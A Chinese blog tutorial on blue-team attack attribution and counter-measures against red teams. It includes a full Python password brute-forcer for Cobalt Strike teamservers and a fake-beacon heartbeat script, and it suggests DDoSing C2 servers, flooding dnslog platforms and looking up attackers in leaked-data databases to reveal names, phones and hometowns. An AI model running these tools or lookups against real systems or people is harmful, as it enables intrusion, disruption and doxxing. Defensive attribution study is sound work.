溯源追踪问题是蓝队需要掌握的能力,在面试中也是一个常问的问题。
参考蓝队溯源反制思路 - LoYoHo00 - 博客园红蓝对抗系列之浅谈蓝队反制红队的手法一二 - 先知社区
目录
[Cobalt Strike反制](#Cobalt Strike反制)
[针对dnslog 的反制](#针对dnslog 的反制)
什么是溯源追踪?
在护网和攻防中,溯源是指通过收集、分析和解释数字证据来追踪和还原网络攻击或其他网络犯罪活动的过程,它旨在确定攻击者的身份、行为和意图,以便采取适当的对策,并为法律机构提供必要的证据。
总而言之,溯源的目标:
- 掌握攻击者的攻击手法(例如特定木马等)
- 掌握攻击者的IP域名资产(例如木马存放站点、资产特点等)
- 掌握攻击者的虚拟身份以及身份
- 掌握攻击者武器的检测或发现方法,将捕获的数据形成新的线索。
溯源思路
攻击源捕获
- 安全设备告警:例如扫描IP、威胁阻断、病毒木马、入侵事件等
- 日志与流量分析:例如异常的流量、异常攻击源与攻击目标等
- 服务器资源异常:例如异常的文件、账号、进程、端口,启动项、计划任务和服务等
- 邮件钓鱼:例如获取了恶意文件、钓鱼网站url等
- 蜜罐系统:获取了攻击者行为、意图的相关信息
溯源反制手段
通过IP、域名、邮件等进行溯源,其中IP地址溯源是追踪攻击者的最基本方法之一。
- IP定位技术:根据IP定位物理地址,但大多数情况都是代理IP,所以也是有一定难度的;查询IP历史解析记录。
代理IP:
代理IP是一种允许用户通过中间服务器访问互联网的技术,用户的请求首先发送到代理服务器,再由代理服务器向目标服务器发送请求并获取响应。
代理IP可以隐藏用户的真实IP地址,使用户的网络访问行为不易被追踪;且可以绕过地理位置限制,让用户访问被封锁或限制的内容。
- ID追踪术:通过搜索引擎、社交平台、技术论坛、社工库等匹配信息,获得攻击者更多信息。例如知道手机号可以去社工库匹配等。
- 网站URL:通过域名whois查询,查询注册人的姓名、地址、电话和邮箱等
- 恶意样本:通过提取样本特征可以得到攻击者的信息
常见红队被反制姿势
- 使用个人工作PC,且浏览器里面保存了baidu、Google等登录凭据,攻击者对抗过程中踩到蓝队蜜罐,被获取到IP,从而被溯源到真实姓名和所在公司。
- 红队个人或团队,使用自己的网站vps(虚拟机)进行扫描,vps上可能含有团队组织的https证书、或vps IP绑定的域名跟安全社交id对应,从而被溯源到真实姓名和所在公司
- 攻击队写的扫描器payload里面含有攻击者信息,如使用了私有dnslog、攻击载荷里面含有安全社交id、含有个人博客资源请求等。
- 投递的钓鱼邮件内木马样本被蓝队采集、逆向、反控C2C、溯源到个人信息
- 虚拟机逃逸到实体机,暴露个人信息。
Cobalt Strike反制
在防守里,必不可少的就是邮件钓鱼和社工钓鱼。而红队很常使用Cobalt Strike生成相关的shell木马,防守方可以针对Cobalt Strike进行反制。
- 批量上钓鱼木马,启动大量进程,ddos红方的cs端(需要蓝队自己注意与真实环境隔离好),利用地址:https://github.com/Tk369/pluginS/blob/master/ll.py
- 爆破cs密码。一般而言,红队cs设施为了多人合作,密码通常不会太复杂,有很大可能是弱口令为主,甚至teamserver端口是默认端口50050,那么针对cs端控制端,可以直接进行爆破密码。
附cs 爆破密码脚本
#!/usr/bin/env python3
import time,socket,ssl,argparse,concurrent.futures,sys
MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",
help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
help="Newline-delimited word list file")
args = parser.parse_args()
class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass
def is_connected(self):
return self.sock and self.ssl_sock
def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
received_size = 0
data_buffer = b""
while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host, 50050)
payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"\x00\x00\xca\xfe"): return password
else: return False
else: print("Do not have a blank password!!!")
passwords = []
if args.wordlist: passwords = open(args.wordlist).read().split("\n")
else:
for line in sys.stdin: passwords.append(line.rstrip())
if len(passwords) > 0:
attempts = 0
failures = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
password = future_to_check[future]
try:
data = future.result()
attempts = attempts + 1
if data:
print ("Successful Attack!!!")
print("Target Password: {}".format(password))
except Exception as exc:
failures = failures + 1
print('%r generated an exception: %s' % (password, exc))
else:
print("Password(s) required")
- 假上线。只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令。
附上代码,使用时更改换IP
或域名、port
、cookie
# coding: utf-8
import re
import time
import requests
def heartbeat():
url = "http://192.168.186.133:333/activity"
headers = {
'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=',
'Host': '192.168.186.133:333',
'Accept': '*/*',
'Connection': 'Keep-Alive',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'
}
resp = requests.get(url=url,headers=headers)
text = resp.content.hex()
return text
x = True
while x:
text = heartbeat()
lengs = len(text)
# print(lengs, " ", text)
if '2f4320' in text and '000041' in text:
print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
commeds = re.findall(r'2f4320(.*?)000041', text)
for comm in commeds:
commed = bytes.fromhex(comm).decode('utf-8')
print(commed)
time.sleep(5)
针对dnslog 的反制
一般而言,常见的公开的dnslog 平台,蓝队防守的时候可对常见dnslog 平台进行屏蔽即可,那么针对自行搭建的dnslog 平台有以下思路进行反制。
dnslog反制
可进行批量ping 捕获到的dnslog ,然后恶意扰乱他自行搭建的,恶意制造各种垃圾dnslog数据,让他无法获取到有效信息。直接让红队人员被迫废弃一个红队基础设施。 具体可以写个脚本比如站长之家之类的进行批量ping ,进行探测存活。
httplog反制
http log 同理, 使用爬虫节点,批量进行request 请求 捕获的http url 即可,这样红队的dnslog 平台几乎彻底报废。
寻找真实IP
掩盖真实IP
上面也有提及,很大部分情况碰到的IP都不是实际的IP,寻找真实IP也叫攻击源追踪。主要有五个方面掩盖真实IP:
- 虚假IP溯源:取证人员检测到的攻击数据包中,其源IP地址是伪造的。例如典型的SYN flood攻击。
这类攻击,攻击者将攻击数据包中的源IP地址替换为伪造的IP地址,受害主机收到数据包后,将响应数据包发送给伪造的IP地址主机,这些主机可能存在也可能不存在,这样受害主机就无法得到攻击主机的IP地址。
另外,也有一种攻击,如Smurf攻击、DNS放大攻击等,攻击者将攻击数据包的源IP地址替换为受害者的IP地址,将攻击数据包广播给反射主机,反射主机收到数据包后,响应数据包将发送给受害主机。受害主机端只能判断这些数据包来自反射主机,无法知道真实攻击者的IP地址。
- 僵尸网络溯源:攻击者利用僵尸网络发动攻击,这种情况下,受害主机端只能识别攻击数据包来自bot僵尸主机,无法识别真实的攻击者IP
- 匿名网络溯源:攻击者利用匿名网络,如tor网络。受害端识别攻击数据包中的源IP地址来自于匿名网络,无法检测到真正攻击者。
Tor(The Onion Router)网络是一个用于实现匿名通信的网络,旨在保护用户隐私和提供对互联网内容的匿名访问。Tor网络的核心原理是通过多层加密和多级代理来保护用户的隐私和安全。用户的数据在通过Tor网络时会被多次加密,每个节点只能解开一层加密,最终数据到达目标服务器。Tor客户端会从网络中随机选择三个节点,形成通信链路:入口节点、中继节点和出口节点。出口节点将解密后的流量发送到公共互联网,从而到达目标网站。
- 跳板溯源:攻击者利用多个"跳板主机",即通过控制多个主机转发攻击数据包,其"源IP"即为最后一跳的主机IP地址。显然,跳板路径越长,越难追踪到攻击者。
- 局域网络溯源:攻击者位于私有网络内,比如无线局域网内,攻击数据包的源IP经过了网关的NAT地址转换。由于攻击者的IP地址是私有IP地址,在受害主机端只能看到NAT网关的IP地址。
虚假IP地址攻击溯源
也称为IP追踪。具体分为几种情况
- 能够控制路由器,修改路由软件时:通过给数据包打标记。主要有概率包标记算法、确定包标记算法、ICMP标记算法等。同时还有一些组合方法,例如采用数据包标记和数据包记录的混合方法;综合了 ICMP 和 PPM 算法, 路由器对于 IP 数据包以一定概率进行标记, 并且同时把IP地址填入ICMP包中等等。
- 能够控制路由器,但是不能修改路由软件时:通过记录数据包,然后构造出数据包所经过的路径。很显然,该方法可以回溯单个数据包,但缺点是需要路由器存储空间受限问题。或者另一种思路是在现有路由结构上建立一个覆盖网络,通过新设计的覆盖网络来实现数据包跟踪。
- 不能控制路由器,但能在网络上部署监控器时:利用路由器自然产生的ICMP错误报文,这些ICMP报文会被发往这些虚假的IP地址,其中包含路由器的IP地址以及原数据包的源和目的地址,因此部署在网络上的监控器会受到这些ICMP报文,根据报文构造这些数据包的攻击路径。但是这种方法要求攻击数据包的流量比较大,且要在攻击进行时实施。
- 只知道网络拓扑结构时:利用链路泛洪测试。在大流量数据包的情况下,从被攻击目标出发,由近及远,依次对被攻击目标的上游路由器进行UDP泛洪。若某条链路上存在攻击流量,由于泛洪流量的存在,将导致攻击流量丢包。根据这一现象,即可以判断出某条链路上是否存在攻击流量,从而构造出攻击路径。不过该方法只能对单个攻击流量进行检测,若同时存在多个攻击流量,则很难区分不同的攻击流量。这种方法同样要求攻击数据包流量较大,并且一旦攻击结束,方法也就失效了。另外,这种方法本身就是一种 DoS攻击,会影响正常的数据流量。
- 不了解任何信息时:先了解网络拓扑结构,再利用链路泛洪测试。
溯源实例
上面说了这么多,感觉还是看案例会比较好理解。这里参考大佬做的溯源案例,我这里就简单梳理,具体可以去看大佬的文章攻防蓝队技能:溯源技巧
第一例:
- 态势感知发现弱口令攻击告警
- 对尝试弱口令进行详细研判,发现确实尝试弱口令admin/admin
- 对IP进行威胁情报中心查询,发现风险评估为高,情报中心里面成功解析到域名
- 将域名进行备案查询,即可发现为某科技公司。
第二例:
- 发现某IP对其进行SQL注入攻击、目录遍历等攻击行为
- 微步查询IP绑定的域名,查看域名实时解析的IP都为同一个IP
- 发现该IP关联的域名,访问获取到该人姓氏
- 访问域名同样获取大关键信息,QQ、电话以及邮箱
- 通过百度邮箱地址搜索信息发现该作者的全名
- 访问主页,点击立即获取。发现下载文件提示为后门病毒文件。通过主页防止病毒文件诱导他人下载,植入木马。
- 通过百度姓名发现院校,发现发帖显示了籍贯、、、、、